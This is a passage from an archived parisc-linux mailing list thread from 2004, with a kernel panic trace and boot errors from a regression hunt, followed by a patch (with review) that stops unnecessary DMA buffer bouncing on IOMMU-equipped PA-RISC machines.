  [<1016b710>] submit_bh+0x128/0x1d4
  [<1016a3f8>] block_read_full_page+0x1f8/0x340
  [<101451c0>] read_cache_page+0x90/0x320
  [<1019c374>] read_dev_sector+0x34/0x110
  [<1019cb20>] msdos_partition+0x98/0x5fc
  [<1019bd04>] check_partition+0xd0/0x164
  [<1019c174>] register_disk+0xd0/0x160
  [<10246e58>] add_disk+0x54/0x68
  [<10274764>] sd_probe+0x240/0x39c
  [<1023d87c>] bus_match+0x4c/0x84
  [<1023d9e8>] driver_attach+0x80/0xa8
  [<1023df48>] bus_add_driver+0xb0/0xd8


Kernel Fault: Code=26 regs=109949c0 (Addr=0000000c)
      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 10201000 10152bd8 00000000
r04-07  109a5790 00000200 00000000 00000010
r08-11  10994818 00000000 2fd092f4 1045d810
r12-15  00000000 10000000 1045d810 1045d810
r16-19  1016e9d8 f00000ac f00000a4 10994954
r20-23  10994954 00000000 10991958 10994958
r24-27  00000000 00000010 00000000 1038c010
r28-31  109a2120 10961bd4 109949c0 10146ee4
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10146ed0 10146ed4
  IIR: 0c781099    ISR: 00000000  IOR: 0000000c
  CPU:        0   CR30: 10994000 CR31: 103e4000
  ORIG_R28: 1045a810
  IAOQ[0]: mempool_alloc+0xa0/0x18c
  IAOQ[1]: mempool_alloc+0xa4/0x18c
  RP(r2): __blk_queue_bounce+0x210/0x290
Kernel panic - not syncing: Kernel Fault
  <0>Rebooting in 120 seconds..

Too bad :(

the diff between src trees is very small:
diff -NaurX dontdiff linux-2.6.10-rc1-pa10/Documentation/parisc/00-INDEX linux-2.6.10-rc1-pa11/Documentation/parisc/00-INDEX
--- linux-2.6.10-rc1-pa10/Documentation/parisc/00-INDEX 2004-08-23 10:52:25.000000000 +0200
+++ linux-2.6.10-rc1-pa11/Documentation/parisc/00-INDEX 2004-11-11 17:18:02.000000000 +0100
[snip]
diff -NaurX dontdiff linux-2.6.10-rc1-pa10/Documentation/parisc/todo linux-2.6.10-rc1-pa11/Documentation/parisc/todo
--- linux-2.6.10-rc1-pa10/Documentation/parisc/todo     2004-08-27 19:18:58.000000000 +0200
+++ linux-2.6.10-rc1-pa11/Documentation/parisc/todo     2004-11-11 17:18:02.000000000 +0100
[snip]
diff -NaurX dontdiff linux-2.6.10-rc1-pa10/Makefile linux-2.6.10-rc1-pa11/Makefile
--- linux-2.6.10-rc1-pa10/Makefile      2004-11-06 15:55:05.000000000 +0100
+++ linux-2.6.10-rc1-pa11/Makefile      2004-11-11 17:18:01.000000000 +0100
@@ -1,7 +1,7 @@
  VERSION = 2
  PATCHLEVEL = 6
  SUBLEVEL = 10
-EXTRAVERSION =-rc1-pa10
+EXTRAVERSION =-rc1-pa11
  NAME=Woozy Numbat

  # *DOCUMENTATION*
diff -NaurX dontdiff linux-2.6.10-rc1-pa10/arch/parisc/configs/a500_defconfig linux-2.6.10-rc1-pa11/arch/parisc/configs/a500_defconfig
--- linux-2.6.10-rc1-pa10/arch/parisc/configs/a500_defconfig    2004-08-23 10:52:33.000000000 +0200
+++ linux-2.6.10-rc1-pa11/arch/parisc/configs/a500_defconfig    2004-11-11 17:18:05.000000000 +0100
[snip]
diff -NaurX dontdiff linux-2.6.10-rc1-pa10/arch/parisc/lib/memcpy.c linux-2.6.10-rc1-pa11/arch/parisc/lib/memcpy.c
--- linux-2.6.10-rc1-pa10/arch/parisc/lib/memcpy.c      2004-10-16 18:08:06.000000000 +0200
+++ linux-2.6.10-rc1-pa11/arch/parisc/lib/memcpy.c      2004-11-13 17:15:17.000000000 +0100
@@ -110,8 +110,8 @@
         "\t" EXC_WORD "\t1b\n"                          \
         "\t" EXC_WORD "\t" #_e "\n"                     \
         "\t.previous\n"                                 \
-       : _tt(_t), "+r"(_a)                             \
-       : "1"(_a)                                       \
+       : _tt(_t)                                       \
+       : "r"(_a)                                       \
         : "r8")

  #define def_store_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)   \
@@ -121,16 +121,16 @@
         "\t" EXC_WORD "\t1b\n"                          \
         "\t" EXC_WORD "\t" #_e "\n"                     \
         "\t.previous\n"                                 \
-       : "+r"(_a)                                      \
-       : _tt(_t), "0"(_a)                              \
+       :                                               \
+       : "r"(_a), _tt(_t)                              \
         : "r8")

  #define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs,1,"=r",_s,_a,_t,_e)
  #define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs,1,"r",_s,_a,_t,_e)
  #define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw,4,"=r",_s,_a,_t,_e)
  #define stwma(_s, _t, _a, _e) def_store_ai_insn(stw,4,"r",_s,_a,_t,_e)
-#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,"=f",_s,_a,_t,_e)
-#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,"f",_s,_a,_t,_e)
+#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,"=Z",_s,_a,_t,_e)
+#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,"Z",_s,_a,_t,_e)

  #define def_load_insn(_insn,_tt,_s,_o,_a,_t,_e)        \
         __asm__ __volatile__ (                          \
@@ -297,7 +297,7 @@
  unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
  {
         register unsigned long src, dst, t1, t2, t3;
-       register char *pcs, *pcd;
+       register unsigned char *pcs, *pcd;
         register unsigned int *pws, *pwd;
         register double *pds, *pdd;
         unsigned long ret = 0;
diff -NaurX dontdiff linux-2.6.10-rc1-pa10/arch/parisc/mm/init.c linux-2.6.10-rc1-pa11/arch/parisc/mm/init.c
--- linux-2.6.10-rc1-pa10/arch/parisc/mm/init.c 2004-10-30 17:37:52.000000000 +0200
+++ linux-2.6.10-rc1-pa11/arch/parisc/mm/init.c 2004-11-13 19:52:50.425203881 +0100
@@ -59,8 +59,6 @@

  static struct resource sysram_resources[MAX_PHYSMEM_RANGES];

-static unsigned long max_pfn;
-
  /* The following array is initialized from the firmware specific
   * information retrieved in kernel/inventory.c.
   */
diff -NaurX dontdiff linux-2.6.10-rc1-pa10/drivers/parisc/sba_iommu.c linux-2.6.10-rc1-pa11/drivers/parisc/sba_iommu.c
--- linux-2.6.10-rc1-pa10/drivers/parisc/sba_iommu.c    2004-11-12 21:42:51.000000000 +0100
+++ linux-2.6.10-rc1-pa11/drivers/parisc/sba_iommu.c    2004-11-11 17:18:13.000000000 +0100
[snip]
=========><=========
(this last one doesn't affect c110)

I first suspected the more complex i.e. memcpy.c and revert it first but it doesn't help :O

OTC reverting the second one (i.e. init.c) help a bit in the way the system boot again but wrongly as you can judge by your self 
with following init errors:

Cleaning up ifupdown...done.
Starting raid devices:
sed: -e expression #1, char 87: unterminated `s' command
sed: -e expression #1, char 15: unterminated `s' command
sed: -e expression #1, char 15: unterminated `s' command
sed: -e expression #1, char 15: unterminated `s' command
sed: -e expression #1, char 15: unterminated `s' command
sed: -e expression #1, char 15: unterminated `s' command
sed: -e expression #1, char 15: unterminated `s' command
done.
Setting up LVM Volume Groups...

[...]
Discovering hardware: discover: ../../lib/device-xml.c:180: create_device: Assertion `vendor_name != ((void *)0)' f.
Running 0dns-down to make sure resolv.conf is ok..awk: cmd. line:1: BEGIN {FS = "." } /resolv\.conf\.bak/ {print $Ntawk: cmd. line:1:
                                                                           ^ unexpected newline or end of string
done.
/dev/shm/network/...Initializing: /etc/network/ifstate.
grep: /etc/network/option: No such file or directory
Setting up IP spoofing protection: rp_filter.
grep: /etc/network/option: No such file or directory
grep: /etc/network/option: No such file or directory
Configuring network interfaces...run-parts: failed to open directory /etc/network/if-pre-up.: No such file or direcy
Disabled Privacy Extensions on device 103ac490(lo)
run-parts: failed to open directory /etc/network/if-up.: No such file or directory
run-parts: failed to open directory /etc/network/if-pre-up.: No such file or directory
eth0: link ok.
run-parts: failed to open directory /etc/network/if-up.: No such file or directory
done.
Usage: /etc/init.d/portmap {start|stop|reload|restart}
Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Sat Nov 13 19:20:14 CET 2004
Usage: /etc/init.d/ntpdate {start|stop|restart|reload|force-reload}
cat: /proc/sys/kernel/random/poolsiz: No such file or directory
Initializing random number generator...cat: /var/lib/urandom/random-see: No such file or directory
urandom start: failed.
done.
[...]
Starting portmap daemon: portmap.
grep: /etc/inetd.con: No such file or directory
Starting MTA: update-exim4.co: invalid option -- l
Terminating...
grep: /etc/inetd.con: No such file or directory
Starting file alteration monitor: FAM.
Starting mouse interface server: gpm.
Starting printer spooler: lpd/sbin/start-stop-daemo: option `--exec' requires an argument
Try `/sbin/start-stop-daemo --help' for more information.
.
Starting printer spooler: lpd/sbin/start-stop-daemo: option `--exec' requires an argument
Try `/sbin/start-stop-daemo --help' for more information.
.
Starting network benchmark server: netserver.
rsync daemon not enabled in /etc/default/rsync
Starting OpenBSD Secure Shell server: sshd.
Starting the system activity data collector: sadc.
Setting up X font server socket directory /tmp/.font-unix...done.
Starting X font server: xfsusage: /usr/bin/X11/xf [-config config_file] [-daemon] [-droppriv] [-ls listen_socket] []
  already running.
Usage: /etc/init.d/xinetd {start|stop|reload|force-reload|restart}
Usage: nfs-common {start|stop|restart}
Usage: /etc/init.d/ntp-server {start|stop|restart|force-reload}
Starting RAID monitor daemon: mdadm -F.
Starting proxy server: squid.
Starting anac(h)ronistic cron: anacron.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.
cat: /etc/X11/default-display-manage: No such file or directory
Not starting GNOME Display Manager (gdm); it is not the default display manager.

I didn't analyse in much detail but eg /etc/X11/default-display-manage exists but it's name seems to be longer:
# ll /etc/X11/default*                                                                                 ls: 
/etc/X11/default-display-manage: No such file or directory

Randolph: any idea?

Thanks in advance for attention,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stop the buffer bouncing
Date: Mon, 15 Nov 2004 23:37:33 -0700
Lines: 134
Approved: news@gmane.org
Message-ID: <20041116063733.GA27633@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623595 11729 80.91.229.3 (22 Nov 2014 02:33:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23597 invoked by uid 65534); 16 Nov 2004 06:38:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 16 Nov 2004 07:38:21 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 05CAB3BE59; Mon, 15 Nov 2004 23:38:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08217-06; Mon, 15 Nov 2004 23:38:08 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B1E263BE5C; Mon, 15 Nov 2004 23:37:41 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BCE93BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Nov 2004 23:37:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08217-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Nov 2004 23:37:36 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id CB7413BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Nov 2004 23:37:35 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id DC53C2980B2; Mon, 15 Nov 2004 23:37:34 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27654-01; Mon, 15 Nov 2004 23:37:33 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4F49C2980AD; Mon, 15 Nov 2004 23:37:33 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22113

James,
I think I found the reason parisc is bouncing buffers on the a500
when it shouldn't (iommu is present):

include/asm/pci.h defines:
#define PCI_DMA_BUS_IS_PHYS     (1)

and drivers/scsi/scsi_lib.c uses it like this:
        if (PCI_DMA_BUS_IS_PHYS && host_dev && host_dev->dma_mask)
                return *host_dev->dma_mask;

Which means anything > ~0U will get bounced.
Sym2 driver uses a 32-bit DMA mask.
And we established this a500 has RAM above :
model 9000/800/A500-6X
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 Mb
 1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 Mb

If someone else can review/test and/or commit, that would be great.
Otherwise I can commit this tomorrow. (Assuming CVS is still alive and well)

Patch below is partially inspired by include/asm-ia64/pci.h.
Though it might be better to define/declare parisc_bus_is_phys
elsewhere if EISA support also eventually needs it.

Ah, almost forgot the good news: a500 is still running multiple
instances of wipe (14 or 15, I forgot). Check riot's console
the morning...

Log Message:
	Fix the PCI_DMA_BUS_IS_PHYS so parisc-linux never bounces buffers
	on systems with an IOMMU.

Signed-of-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant


Index: arch/parisc/kernel/setup.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/setup.c,v
retrieving revision 1.9
diff -u -p -r1.9 setup.c
--- arch/parisc/kernel/setup.c	12 Oct 2004 01:07:00 -0000	1.9
+++ arch/parisc/kernel/setup.c	16 Nov 2004 06:08:02 -0000
@@ -53,6 +53,10 @@ struct proc_dir_entry * proc_runway_root
 struct proc_dir_entry * proc_gsc_root = NULL;
 struct proc_dir_entry * proc_mckinley_root = NULL;
 
+#ifndef CONFIG_PA20
+int parisc_bus_is_phys = TRUE;	/* Assume no IOMMU is present */
+EXPORT_SYMBOL(parisc_bus_is_phys);
+#endif
 
 void __init setup_cmdline(char **cmdline_p)
 {
Index: drivers/parisc/ccio-dma.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/ccio-dma.c,v
retrieving revision 1.16
diff -u -p -r1.16 ccio-dma.c
--- drivers/parisc/ccio-dma.c	26 Oct 2004 19:52:46 -0000	1.16
+++ drivers/parisc/ccio-dma.c	16 Nov 2004 06:08:03 -0000
@@ -1560,6 +1560,10 @@ static int ccio_probe(struct parisc_devi
 	parisc_vmerge_boundary = IOVP_SIZE;
 	parisc_vmerge_max_size = BITS_PER_LONG * IOVP_SIZE;
 	ioc_count++;
+
+#ifndef CONFIG_PA20
+	parisc_bus_is_phys = FALSE;
+#endif
 	return 0;
 }
 
Index: drivers/parisc/sba_iommu.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/sba_iommu.c,v
retrieving revision 1.21
diff -u -p -r1.21 sba_iommu.c
--- drivers/parisc/sba_iommu.c	9 Nov 2004 20:28:33 -0000	1.21
+++ drivers/parisc/sba_iommu.c	16 Nov 2004 06:08:03 -0000
@@ -2114,6 +2116,10 @@ sba_driver_callback(struct parisc_device
 	parisc_vmerge_boundary = IOVP_SIZE;
 	parisc_vmerge_max_size = IOVP_SIZE * BITS_PER_LONG;
 
+#ifndef CONFIG_PA20
+	parisc_bus_is_phys = FALSE;
+#endif
+
 	return 0;
 }
 
Index: include/asm-parisc/pci.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pci.h,v
retrieving revision 1.12
diff -u -p -r1.12 pci.h
--- include/asm-parisc/pci.h	3 Nov 2004 00:57:50 -0000	1.12
+++ include/asm-parisc/pci.h	16 Nov 2004 06:08:04 -0000
@@ -106,11 +106,22 @@ static __inline__  int pci_is_lmmio(stru
 struct pci_bus;
 struct pci_dev;
 
-/* The PCI address space does equal the physical memory
- * address space.  The networking and block device layers use
- * this boolean for bounce buffer decisions.
+#ifdef CONFIG_PA20
+/* All PA-2.0 machines have an IOMMU. */
+#define PCI_DMA_BUS_IS_PHYS     (0)
+#else
+/* _some_ PA1.1 boxes have an IOMMU (pa7200)...but we can run these bits on
+ * a PA-2.0 box in narrow mode as well. *sigh* 
+ * FIXME: WAX EISA controller mangles DMA addressing too.
+ */
+
+/* Set to TRUE if PCI address space equals the physical memory address space.
+ * The networking and block device layers use this boolean for bounce buffer
+ * decisions.
  */
-#define PCI_DMA_BUS_IS_PHYS     (1)
+extern unsigned int parisc_bus_is_phys;
+#define PCI_DMA_BUS_IS_PHYS     (parisc_bus_is_phys)
+#endif
 
 /*
 ** Most PCI devices (eg Tulip, NCR720) also export the same registers
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stop the buffer bouncing
Date: 16 Nov 2004 09:30:37 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <1100619043.2574.19.camel@mulgrave>
References: <20041116063733.GA27633@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623596 11732 80.91.229.3 (22 Nov 2014 02:33:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:16 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5672 invoked by uid 65534); 16 Nov 2004 15:31:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 16 Nov 2004 16:31:21 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 13F2E3BE64; Tue, 16 Nov 2004 08:31:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13720-01; Tue, 16 Nov 2004 08:31:17 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B94663BE6A; Tue, 16 Nov 2004 08:31:01 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 057533BE67
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 08:30:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13458-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 08:30:47 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id E5C203BE64
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 08:30:46 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iAGFUhp00838; Tue, 16 Nov 2004 10:30:43 -0500
In-Reply-To: <20041116063733.GA27633@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22114

On Tue, 2004-11-16 at 00:37, Grant Grundler wrote:
> If someone else can review/test and/or commit, that would be great.
> Otherwise I can commit this tomorrow. (Assuming CVS is still alive and well)

It looks fine to me ... I didn't realise this was broken ...

> Patch below is partially inspired by include/asm-ia64/pci.h.
> Though it might be better to define/declare parisc_bus_is_phys
> elsewhere if EISA support also eventually needs it.

Unfortunately, EISA support needs a per bus check for the iommu (since
WAX on some of the machines has its own IOMMU but the rest of the system
doesn't).  I was going to look at introducing this abstraction, but we
never managed to get an unencumbered copy of the WAX specs to get it all
working.

Thanks for debugging this.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stop the buffer bouncing
Date: Tue, 16 Nov 2004 09:09:39 -0700
Lines: 75
Approved: news@gmane.org
Message-ID: <20041116160939.GB4176@colo.lackof.org>
References: <20041116063733.GA27633@colo.lackof.org>
	<20041116150748.GI26623@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623596 11735 80.91.229.3 (22 Nov 2014 02:33:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:16 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12164 invoked by uid 65534); 16 Nov 2004 16:10:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 16 Nov 2004 17:10:22 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 470413BE6B; Tue, 16 Nov 2004 09:10:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13742-05; Tue, 16 Nov 2004 09:10:13 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EA0293BE6E; Tue, 16 Nov 2004 09:09:46 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41BC43BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 09:09:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13742-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 09:09:41 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 82F483BE67
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Nov 2004 09:09:41 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2AB2D29810F; Tue, 16 Nov 2004 09:09:40 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04463-04; Tue, 16 Nov 2004 09:09:39 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3B6352980AD; Tue, 16 Nov 2004 09:09:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041116150748.GI26623@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22115

On Tue, Nov 16, 2004 at 03:07:48PM +0000, Matthew Wilcox wrote:
